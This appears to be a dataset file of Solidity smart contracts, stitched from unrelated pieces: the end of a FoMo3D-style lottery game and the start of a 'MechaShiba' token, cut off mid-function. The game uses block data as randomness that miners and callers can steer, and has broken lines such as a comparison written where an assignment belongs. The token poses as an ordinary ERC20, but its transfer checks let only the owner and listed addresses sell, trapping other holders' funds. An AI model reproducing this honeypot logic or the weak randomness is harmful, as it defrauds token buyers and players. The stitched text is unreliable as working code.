uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
round_[_rID].ended = true;
endRound();
_eth = withdrawEarnings(_pID, true);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
} else {
_eth = withdrawEarnings(_pID, true);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
}
}
function updateWhitelist(address[] _addrs, bool _isWhitelisted)
public
onlyOwner
{
for (uint i = 0; i < _addrs.length; i++) {
whitelisted_Prebuy[_addrs[i]] = _isWhitelisted;
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
pID_++;
pIDxAddr_[_addrs[i]] = pID_;
plyr_[pID_].addr = _addrs[i];
}
}
}
function getPrice()
public
view
returns(uint256)
{
uint256 keys = keysRec(round_[rID_].eth, 1e18);
return (1e36 / keys);
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add(calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd)),
(plyr_[_pID].genGu).add(calcUnMaskedGuEarnings(_pID)),
plyr_[_pID].aff,
plyr_[_pID].refund
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd)),
(plyr_[_pID].genGu).add(calcUnMaskedGuEarnings(_pID)),
plyr_[_pID].aff,
plyr_[_pID].refund
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd)),
(plyr_[_pID].genGu).add(calcUnMaskedGuEarnings(_pID)),
plyr_[_pID].aff,
plyr_[_pID].refund
);
}
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, uint256, uint256)
{
uint256 _rID = rID_;
return
(
_rID,
round_[_rID].allkeys,
round_[_rID].keys,
allGuGiven_,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
plyr_[round_[_rID].plyr].addr,
round_[_rID].eth,
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getCurrentPhraseInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256)
{
uint256 _phID = phID_;
return
(
_phID,
phrase_[_phID].eth,
phrase_[_phID].guGiven,
phrase_[_phID].minEthRequired,
phrase_[_phID].guPoolAllocation
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
uint256 _phID = phID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].gu,
plyr_[_pID].laff,
(plyr_[_pID].gen).add(calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd)).add(plyr_[_pID].genGu).add(calcUnMaskedGuEarnings(_pID)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth,
plyrPhas_[_pID][_phID].eth,
plyr_[_pID].referEth,
plyr_[_pID].withdraw
);
}
function buyCore(uint256 _pID, uint256 _affID)
whenNotPaused
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[rID_].strt + whitelistRange_) {
require(whitelisted_Prebuy[plyr_[_pID].addr] || whitelisted_Prebuy[plyr_[_affID].addr]);
}
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
endRound();
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
}
uint256 _availableLimit;
uint256 _refund;
if (round_[_rID].eth < ethLimiterRange1_ && plyrRnds_[_pID][_rID].eth.add(_eth) > ethLimiter1_)
{
_availableLimit = (ethLimiter1_).sub(plyrRnds_[_pID][_rID].eth);
_refund = _eth.sub(_availableLimit);
plyr_[_pID].refund = plyr_[_pID].refund.add(_refund);
_eth = _availableLimit;
} else if (round_[_rID].eth < ethLimiterRange2_ && plyrRnds_[_pID][_rID].eth.add(_eth) > ethLimiter2_)
{
_availableLimit = (ethLimiter2_).sub(plyrRnds_[_pID][_rID].eth);
_refund = _eth.sub(_availableLimit);
plyr_[_pID].refund = plyr_[_pID].refund.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1e9)
{
uint256 _keys = keysRec(round_[_rID].eth, _eth);
if (_keys >= 1e18)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
emit KeyPurchase(plyr_[round_[_rID].plyr].addr, _eth, _keys);
}
if (_eth >= 1e17)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 1e19)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
} else if (_eth >= 1e18 && _eth < 1e19) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
} else if (_eth >= 1e17 && _eth < 1e18) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
}
airDropTracker_ = 0;
}
}
leekStealGo();
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].playCtr++;
playOrders_[round_[_rID].playCtr] = pID_;
round_[_rID].allkeys = _keys.add(round_[_rID].allkeys);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
distributeExternal(_rID, _pID, _eth, _affID);
distributeInternal(_rID, _pID, _eth, _keys);
updateGuReferral(_pID, _affID, _eth);
checkDoubledProfit(_pID, _rID);
checkDoubledProfit(_affID, _rID);
}
}
function checkDoubledProfit(uint256 _pID, uint256 _rID)
private
{
uint256 _keys = plyrRnds_[_pID][_rID].keys;
if (_keys > 0) {
uint256 _balance = (plyr_[_pID].gen).add(calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd));
if (_balance.add(plyrRnds_[_pID][_rID].genWithdraw) >= (plyrRnds_[_pID][_rID].eth))
{
updateGenVault(_pID, plyr_[_pID].lrnd);
round_[_rID].keys = round_[_rID].keys.sub(_keys);
plyrRnds_[_pID][_rID].keys = plyrRnds_[_pID][_rID].keys.sub(_keys);
}
}
}
function keysRec(uint256 _curEth, uint256 _newEth)
private
returns (uint256)
{
uint256 _startEth;
uint256 _incrRate;
uint256 _initPrice;
if (_curEth < priceStage1_) {
_startEth = 0;
_initPrice = 33333;
_incrRate = 50000000;
}
else if (_curEth < priceStage2_) {
_startEth = priceStage1_;
_initPrice = 25000;
_incrRate = 50000000;
}
else if (_curEth < priceStage3_) {
_startEth = priceStage2_;
_initPrice = 20000;
_incrRate = 50000000;
}
else if (_curEth < priceStage4_) {
_startEth = priceStage3_;
_initPrice = 12500;
_incrRate = 26666666;
}
else if (_curEth < priceStage5_) {
_startEth = priceStage4_;
_initPrice = 5000;
_incrRate = 17777777;
}
else if (_curEth < priceStage6_) {
_startEth = priceStage5_;
_initPrice = 2500;
_incrRate = 10666666;
}
else if (_curEth < priceStage7_) {
_startEth = priceStage6_;
_initPrice = 1000;
_incrRate = 5688282;
}
else if (_curEth < priceStage8_) {
_startEth = priceStage7_;
_initPrice = 250;
_incrRate = 2709292;
}
else if (_curEth < priceStage9_) {
_startEth = priceStage8_;
_initPrice = 62;
_incrRate = 1161035;
}
else if (_curEth < priceStage10_) {
_startEth = priceStage9_;
_initPrice = 14;
_incrRate = 451467;
}
else if (_curEth < priceStage11_) {
_startEth = priceStage10_;
_initPrice = 2;
_incrRate = 144487;
}
else if (_curEth < priceStage12_) {
_startEth = priceStage11_;
_initPrice = 0;
_incrRate = 40128;
}
else {
_startEth = priceStage12_;
_initPrice = 0;
_incrRate = 40128;
}
return _newEth.mul(((_incrRate.mul(_initPrice)) / (_incrRate.add(_initPrice.mul((_curEth.sub(_startEth))/1e18)))));
}
function updateGuReferral(uint256 _pID, uint256 _affID, uint256 _eth) private {
uint256 _newPhID = updateGuPhrase();
if (phID_ < _newPhID) {
updateReferralMasks(phID_);
plyr_[1].gu = (phrase_[_newPhID].guPoolAllocation / 10).add(plyr_[1].gu);
plyr_[2].gu = (phrase_[_newPhID].guPoolAllocation / 10).add(plyr_[2].gu);
phrase_[_newPhID].guGiven = (phrase_[_newPhID].guPoolAllocation / 5).add(phrase_[_newPhID].guGiven);
allGuGiven_ = (phrase_[_newPhID].guPoolAllocation / 5).add(allGuGiven_);
phID_ = _newPhID;
}
if (_affID != 0 && _affID != _pID) {
plyrPhas_[_affID][_newPhID].eth = _eth.add(plyrPhas_[_affID][_newPhID].eth);
plyr_[_affID].referEth = _eth.add(plyr_[_affID].referEth);
phrase_[_newPhID].eth = _eth.add(phrase_[_newPhID].eth);
}
uint256 _remainGuReward = phrase_[_newPhID].guPoolAllocation.sub(phrase_[_newPhID].guGiven);
if (plyrPhas_[_affID][_newPhID].eth >= phrase_[_newPhID].minEthRequired && _remainGuReward >= 1e18) {
uint256 _totalReward = plyrPhas_[_affID][_newPhID].eth / phrase_[_newPhID].minEthRequired;
_totalReward = _totalReward.mul(1e18);
uint256 _rewarded = plyrPhas_[_affID][_newPhID].guRewarded;
uint256 _toReward = _totalReward.sub(_rewarded);
if (_remainGuReward < _toReward) _toReward = _remainGuReward;
if (_toReward > 0) {
plyr_[_affID].gu = _toReward.add(plyr_[_affID].gu);
plyrPhas_[_affID][_newPhID].guRewarded = _toReward.add(plyrPhas_[_affID][_newPhID].guRewarded);
phrase_[_newPhID].guGiven = 1e18.add(phrase_[_newPhID].guGiven);
allGuGiven_ = 1e18.add(allGuGiven_);
}
}
}
function updateReferralMasks(uint256 _phID) private {
uint256 _remainGu = phrase_[phID_].guPoolAllocation.sub(phrase_[phID_].guGiven);
if (_remainGu > 0 && phrase_[_phID].eth > 0) {
uint256 _gpe = (_remainGu.mul(1e18)) / phrase_[_phID].eth;
phrase_[_phID].mask = _gpe.add(phrase_[_phID].mask);
}
}
function transferGu(address _to, uint256 _guAmt)
public
whenNotPaused
returns (bool)
{
uint256 _pIDFrom = pIDxAddr_[msg.sender];
require(plyr_[_pIDFrom].addr == msg.sender);
uint256 _pIDTo = pIDxAddr_[_to];
plyr_[_pIDFrom].gu = plyr_[_pIDFrom].gu.sub(_guAmt);
plyr_[_pIDTo].gu = plyr_[_pIDTo].gu.add(_guAmt);
return true;
}
function updateGuPhrase()
private
returns (uint256)
{
if (now <= contractStartDate_ + guPhrase1_) {
phrase_[1].minEthRequired = 5e18;
phrase_[1].guPoolAllocation = 100e18;
return 1;
}
if (now <= contractStartDate_ + guPhrase2_) {
phrase_[2].minEthRequired = 4e18;
phrase_[2].guPoolAllocation = 200e18;
return 2;
}
if (now <= contractStartDate_ + guPhrase3_) {
phrase_[3].minEthRequired = 3e18;
phrase_[3].guPoolAllocation = 400e18;
return 3;
}
if (now <= contractStartDate_ + guPhrase4_) {
phrase_[4].minEthRequired = 2e18;
phrase_[4].guPoolAllocation = 800e18;
return 4;
}
if (now <= contractStartDate_ + guPhrase5_) {
phrase_[5].minEthRequired = 1e18;
phrase_[5].guPoolAllocation = 1600e18;
return 5;
}
if (now <= contractStartDate_ + guPhrase6_) {
phrase_[6].minEthRequired = 1e18;
phrase_[6].guPoolAllocation = 3200e18;
return 6;
}
if (now <= contractStartDate_ + guPhrase7_) {
phrase_[7].minEthRequired = 1e18;
phrase_[7].guPoolAllocation = 6400e18;
return 7;
}
if (now <= contractStartDate_ + guPhrase8_) {
phrase_[8].minEthRequired = 1e18;
phrase_[8].guPoolAllocation = 12800e18;
return 8;
}
if (now <= contractStartDate_ + guPhrase9_) {
phrase_[9].minEthRequired = 1e18;
phrase_[9].guPoolAllocation = 25600e18;
return 9;
}
if (now <= contractStartDate_ + guPhrase10_) {
phrase_[10].minEthRequired = 1e18;
phrase_[10].guPoolAllocation = 51200e18;
return 10;
}
phrase_[11].minEthRequired = 0;
phrase_[11].guPoolAllocation = 0;
return 11;
}
function leekStealGo() private {
uint leekStealToday_ = (now.sub(round_[rID_].strt) / 1 days);
if (dayStealTime_[leekStealToday_] == 0)
{
leekStealTracker_++;
if (randomNum(leekStealTracker_) == true)
{
dayStealTime_[leekStealToday_] = now;
leekStealOn_ = true;
}
}
}
function stealTheLeek() public {
if (leekStealOn_)
{
if (now.sub(dayStealTime_[leekStealToday_]) > 300)
{
leekStealOn_ = false;
} else {
if (leekStealPot_ > 1e18) {
uint256 _pID = pIDxAddr_[msg.sender];
plyr_[_pID].win = plyr_[_pID].win.add(1e18);
leekStealPot_ = leekStealPot_.sub(1e18);
}
}
}
}
function calcUnMaskedKeyEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
if ( (((round_[_rIDlast].maskKey).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1e18)) > (plyrRnds_[_pID][_rIDlast].maskKey) )
return( (((round_[_rIDlast].maskKey).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1e18)).sub(plyrRnds_[_pID][_rIDlast].maskKey) );
else
return 0;
}
function calcUnMaskedGuEarnings(uint256 _pID)
private
view
returns(uint256)
{
if ( ((allMaskGu_.mul(plyr_[_pID].gu)) / (1e18)) > (plyr_[_pID].maskGu) )
return( ((allMaskGu_.mul(plyr_[_pID].gu)) / (1e18)).sub(plyr_[_pID].maskGu) );
else
return 0;
}
function endRound()
private
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(40)) / 100;
uint256 _res = (_pot.mul(10)) / 100;
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
pay500Winners(_pot);
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_);
round_[_rID].pot = _res;
}
function pay500Winners(uint256 _pot) private {
uint256 _rID = rID_;
uint256 _plyCtr = round_[_rID].playCtr;
uint256 _win2 = _pot.mul(25).div(100).div(9);
for (uint256 i = _plyCtr.sub(9); i <= _plyCtr.sub(1); i++) {
plyr_[playOrders_[i]].win = _win2.add(plyr_[playOrders_[i]].win);
}
uint256 _win3 = _pot.mul(15).div(100).div(90);
for (uint256 j = _plyCtr.sub(99); j <= _plyCtr.sub(10); j++) {
plyr_[playOrders_[j]].win = _win3.add(plyr_[playOrders_[j]].win);
}
uint256 _win4 = _pot.mul(10).div(100).div(400);
for (uint256 k = _plyCtr.sub(499); k <= _plyCtr.sub(100); k++) {
plyr_[playOrders_[k]].win = _win4.add(plyr_[playOrders_[k]].win);
}
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedKeyEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].maskKey = _earnings.add(plyrRnds_[_pID][_rIDlast].maskKey);
}
}
function updateGenGuVault(uint256 _pID)
private
{
uint256 _earnings = calcUnMaskedGuEarnings(_pID);
if (_earnings > 0)
{
plyr_[_pID].genGu = _earnings.add(plyr_[_pID].genGu);
plyr_[_pID].maskGu = _earnings.add(plyr_[_pID].maskGu);
}
}
function updateReferralGu(uint256 _pID)
private
{
uint256 _phID = phID_;
uint256 _lastClaimedPhID = plyr_[_pID].lastClaimedPhID;
uint256 _guShares;
for (uint i = (_lastClaimedPhID + 1); i < _phID; i++) {
_guShares = (((phrase_[i].mask).mul(plyrPhas_[_pID][i].eth))/1e18).add(_guShares);
plyr_[_pID].lastClaimedPhID = i;
phrase_[i].guGiven = _guShares.add(phrase_[i].guGiven);
plyrPhas_[_pID][i].guRewarded = _guShares.add(plyrPhas_[_pID][i].guRewarded);
}
plyr_[_pID].gu = _guShares.add(plyr_[_pID].gu);
plyr_[_pID].maskGu = ((allMaskGu_.mul(_guShares)) / 1e18).add(plyr_[_pID].maskGu);
allGuGiven_ = _guShares.add(allGuGiven_);
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function randomNum(uint256 _tracker)
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < _tracker)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID)
private
{
uint256 _com = _eth / 100;
address(WALLET_ETH_COM1).transfer(_com);
address(WALLET_ETH_COM2).transfer(_com);
uint256 _aff = _eth / 10;
if (_affID != _pID && _affID != 0) {
plyr_[_affID].aff = (_aff.mul(8)/10).add(plyr_[_affID].aff);
uint256 _affID2 = plyr_[_affID].laff;
if (_affID2 != _pID && _affID2 != 0) {
plyr_[_affID2].aff = (_aff.mul(2)/10).add(plyr_[_affID2].aff);
}
} else {
plyr_[1].aff = _aff.add(plyr_[_affID].aff);
}
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _keys)
private
{
uint256 _gen = (_eth.mul(40)) / 100;
uint256 _jcg = (_eth.mul(20)) / 100;
uint256 _air = (_eth.mul(3)) / 100;
airDropPot_ = airDropPot_.add(_air);
uint256 _steal = (_eth / 20);
leekStealPot_ = leekStealPot_.add(_steal);
_eth = _eth.sub(((_eth.mul(20)) / 100));
uint256 _pot = _eth.sub(_gen).sub(_jcg);
uint256 _dustKey = updateKeyMasks(_rID, _pID, _gen, _keys);
uint256 _dustGu = updateGuMasks(_pID, _jcg);
round_[_rID].pot = _pot.add(_dustKey).add(_dustGu).add(round_[_rID].pot);
}
function updateKeyMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1e18)) / (round_[_rID].keys);
round_[_rID].maskKey = _ppt.add(round_[_rID].maskKey);
uint256 _pearn = (_ppt.mul(_keys)) / (1e18);
plyrRnds_[_pID][_rID].maskKey = (((round_[_rID].maskKey.mul(_keys)) / (1e18)).sub(_pearn)).add(plyrRnds_[_pID][_rID].maskKey);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1e18)));
}
function updateGuMasks(uint256 _pID, uint256 _jcg)
private
returns(uint256)
{
if (allGuGiven_ > 0) {
uint256 _ppg = (_jcg.mul(1e18)) / allGuGiven_;
allMaskGu_ = _ppg.add(allMaskGu_);
uint256 _pearn = (_ppg.mul(plyr_[_pID].gu)) / (1e18);
plyr_[_pID].maskGu = (((allMaskGu_.mul(plyr_[_pID].gu)) / (1e18)).sub(_pearn)).add(plyr_[_pID].maskGu);
return (_jcg.sub((_ppg.mul(allGuGiven_)) / (1e18)));
} else {
return _jcg;
}
}
function withdrawEarnings(uint256 _pID, bool isWithdraw)
whenNotPaused
private
returns(uint256)
{
updateGenGuVault(_pID);
updateReferralGu(_pID);
updateGenVault(_pID, plyr_[_pID].lrnd);
if (isWithdraw) plyrRnds_[_pID][plyr_[_pID].lrnd].genWithdraw = plyr_[_pID].gen.add(plyrRnds_[_pID][plyr_[_pID].lrnd].genWithdraw);
uint256 _earnings = plyr_[_pID].gen.add(plyr_[_pID].win).add(plyr_[_pID].genGu).add(plyr_[_pID].aff).add(plyr_[_pID].refund);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].genGu = 0;
plyr_[_pID].aff = 0;
plyr_[_pID].refund = 0;
if (isWithdraw) plyr_[_pID].withdraw = _earnings.add(plyr_[_pID].withdraw);
}
return(_earnings);
}
bool public activated_ = false;
function activate()
onlyOwner
public
{
require(activated_ == false);
activated_ = true;
contractStartDate_ = now;
rID_ = 1;
round_[1].strt = now;
round_[1].end = now + rndInit_;
}
}
library Datasets {
struct Player {
address addr;
uint256 win;
uint256 gen;
uint256 genGu;
uint256 aff;
uint256 refund;
uint256 lrnd;
uint256 laff;
uint256 withdraw;
uint256 maskGu;
uint256 gu;
uint256 referEth;
uint256 lastClaimedPhID;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 maskKey;
uint256 genWithdraw;
}
struct Round {
uint256 plyr;
uint256 end;
bool ended;
uint256 strt;
uint256 allkeys;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 maskKey;
uint256 playCtr;
}
struct PlayerPhrases {
uint256 eth;
uint256 guRewarded;
}
struct Phrase {
uint256 eth;
uint256 guGiven;
uint256 mask;
uint256 minEthRequired;
uint256 guPoolAllocation;
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 4,055 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract MechaShiba{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
